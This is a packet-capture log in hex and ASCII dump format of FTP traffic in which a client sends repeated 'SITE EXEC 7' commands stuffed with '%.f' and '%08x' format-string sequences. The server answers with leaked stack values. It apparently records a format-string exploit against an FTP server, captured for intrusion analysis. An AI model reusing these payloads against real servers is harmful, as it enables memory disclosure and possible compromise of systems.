06/26-06:33:33.194386 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1F8
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12070 IpLen:20
DgmLen:490 DF
***AP*** Seq: 0x4DD6DE45 Ack:
0xC98721A8 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490645 488742
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 7C 25 30 38 78 7C 25 30 38 f%.f%.f|%08x|%08
78 7C 27 29 0D 0A x|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.199357 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1F4
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1230 IpLen:20
DgmLen:486 DF
***AP*** Seq: 0xC98721A8 Ack:
0x4DD6DFFB Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488742 490645
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 7C 25 30 38 78 7C 25 30 38 78 %.f%.f|%08x|%08x
7C 0A |.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.215060 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800 len:0xF6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12071 IpLen:20
DgmLen:232 DF
***AP*** Seq: 0x4DD6DFFB Ack:
0xC987235A Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490646 488742
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 30 33 34 36 2D 32 30 7C 2-240nan0346-20|
30 30 30 30 30 30 30 30 7C 30 30 30 30 30 30 30 00000000|0000000
30 7C 0D 0A 0|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.219211 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1231 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987235A Ack:
0x4DD6E0AF Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488747 490646
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.219297 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1FB
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12072 IpLen:20
DgmLen:493 DF
***AP*** Seq: 0x4DD6E0AF Ack:
0xC987235A Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490648 488747
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 7C 25 30 38 78 7C f%.f%.f%.f|%08x|
25 30 38 78 7C 27 29 0D 0A %08x|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.229139 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1F7
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1232 IpLen:20
DgmLen:489 DF
***AP*** Seq: 0xC987235A Ack:
0x4DD6E268 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488747 490648
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 7C 25 30 38 78 7C 25 %.f%.f%.f|%08x|%
30 38 78 7C 0A 08x|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.241391 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0xF7
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12073 IpLen:20
DgmLen:233 DF
***AP*** Seq: 0x4DD6E268 Ack:
0xC987250F Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490649 488747
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 30 33 34 36 2D 32 30 30 2-240nan0346-200
7C 37 32 37 33 37 35 32 66 7C 36 65 36 39 36 32 |7273752f|6e6962
32 66 7C 0D 0A 2f|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.254258 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1233 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC987250F Ack: 0x4DD6E31D Win: 0x7D78
TcpLen: 32
TCP Options (3) => NOP NOP TS: 488752 490649
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.254349 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1FE
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12074 IpLen:20
DgmLen:496 DF
***AP*** Seq: 0x4DD6E31D Ack:
0xC987250F Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490651 488752
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 7C 25 30 f%.f%.f%.f%.f|%0
38 78 7C 25 30 38 78 7C 27 29 0D 0A 8x|%08x|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.260228 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1FA
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1234 IpLen:20
DgmLen:492 DF
***AP*** Seq: 0xC987250F Ack: 0x4DD6E4D9 Win: 0x7D78
TcpLen: 32
TCP Options (3) => NOP NOP TS: 488752 490651
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 7C 25 30 38 %.f%.f%.f%.f|%08
78 7C 25 30 38 78 7C 0A x|%08x|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.263779 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x1D7
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12075 IpLen:20
DgmLen:457 DF
***AP*** Seq: 0x4DD6E4D9 Ack:
0xC98726C7 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490652 488752
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 30 33 34 36 2D 32 30 30 2-240nan0346-200
37 33 34 30 33 38 36 34 34 32 37 32 34 33 35 30 7340386442724350
34 31 31 33 38 32 35 37 38 36 30 37 34 35 39 33 4113825786074593
31 38 36 39 31 37 33 33 33 30 37 32 38 37 36 39 1869173330728769
32 34 39 36 32 33 35 36 38 39 39 37 39 31 37 32 2496235689979172
32 39 33 31 35 36 37 33 30 36 39 39 34 35 31 31 2931567306994511
33 39 33 32 37 32 30 38 37 39 35 38 34 36 37 39 3932720879584679
31 39 32 34 39 39 37 35 38 36 30 32 36 34 32 32 1924997586026422
30 33 38 32 37 35 30 31 39 36 30 37 30 33 33 35 0382750196070335
36 39 35 39 30 30 30 30 32 33 33 32 37 30 36 36 6959000023327066
30 36 31 32 33 33 31 36 34 34 31 35 38 36 37 37 0612331644158677
31 33 32 30 37 36 33 30 37 32 33 30 36 34 31 33 1320763072306413
39 37 33 30 32 38 31 33 32 32 38 37 37 34 38 34 9730281322877484
38 35 33 32 34 30 35 36 33 38 34 37 32 39 35 32 8532405638472952
37 38 32 34 35 30 30 39 37 32 38 34 37 31 30 34 7824500972847104
7C 37 30 37 34 36 36 32 66 7C 36 35 37 38 36 35 |7074662f|657865
32 64 7C 0D 0A 2d|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.280168 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1235 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC98726C7 Ack:
0x4DD6E66E Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488755 490652
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.280255 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x201
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12076 IpLen:20
DgmLen:499 DF
***AP*** Seq: 0x4DD6E66E Ack:
0xC98726C7 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490654 488755
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
